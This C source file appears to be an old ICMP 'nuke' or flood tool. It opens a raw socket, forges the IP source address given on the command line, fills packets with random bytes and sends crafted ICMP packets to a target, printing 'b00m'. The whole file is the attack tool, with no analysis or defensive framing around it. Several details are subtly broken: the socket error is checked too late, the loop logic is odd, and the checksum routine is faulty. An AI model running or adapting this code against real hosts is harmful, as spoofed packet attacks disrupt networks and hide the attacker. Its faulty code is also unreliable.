#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>

struct icmp_hdr {
    struct iphdr iph;
    struct icmp icp;
    char text[1002];
}
icmph;

int in_cksum(int *ptr, int nbytes) {
    long sum;
    u_short oddbyte, answer;
    sum = 0;
    while (nbytes > 1) {
        sum += *ptr++;
        nbytes -= 2;
    }
    if (nbytes == 1) {
        oddbyte = 0;
        *((u_char *)&oddbyte) = *(u_char *)ptr;
        sum += oddbyte;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

struct sockaddr_in sock_open(char *address, int socket, int prt) {
    struct hostent *host;
    struct sockaddr_in sin;    

    if ((host = gethostbyname(address)) == NULL) {
        perror("Unable to get host name");
        exit(-1);
    }

    bzero((char *)&sin, sizeof(sin));
    sin.sin_family = PF_INET;
    sin.sin_port = htons(prt);
    bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
    return(sin);
}

void main(int argc, char **argv) {
    int sock, i, ctr, k;
    int on = 1;
    struct sockaddr_in addrs;
    if (argc < 3) {
        printf("Usage: %s <ip_source> <ip_dest>\n", argv[0]);
        exit(-1);
    }
    for (i = 0; i < 1002; i++) {
        icmph.text[i] = random() % 255;
    }

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) {
        perror("Can't set IP_HDRINCL option on socket");
    }
    if (sock < 0) {
        exit(-1);
    }

    fflush(stdout);
    for (ctr = 0;ctr < 2;ctr++) {
        ctr = ctr % 1000;
        addrs = sock_open(argv[2], sock,3333);
        icmph.iph.version = 4;
        icmph.iph.ihl = 5;
        icmph.iph.tot_len = 1024;
        icmph.iph.id = htons(0x001);
        icmph.iph.ttl = 64;
        icmph.iph.protocol = IPPROTO_ICMP;
        inet_aton(argv[1],&icmph.iph.saddr);
        icmph.iph.daddr = addrs.sin_addr.s_addr;
        icmph.iph.frag_off = htons(0);
	icmph.icp.icmp_type = 1;
	icmph.icp.icmp_code = 1;
	//icmph.icp.icmp_type = random() % 14;
	//icmph.icp.icmp_code = random() % 10;
        icmph.icp.icmp_cksum = 0;
        icmph.icp.icmp_id = 2650;
        icmph.icp.icmp_seq = random() % 255;
        icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
        if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) {
            if (errno != ENOBUFS)
                printf("X");
        }
        if (ctr == 0)
            printf("b00m ");
        fflush(stdout);
    }
    close(sock);
}

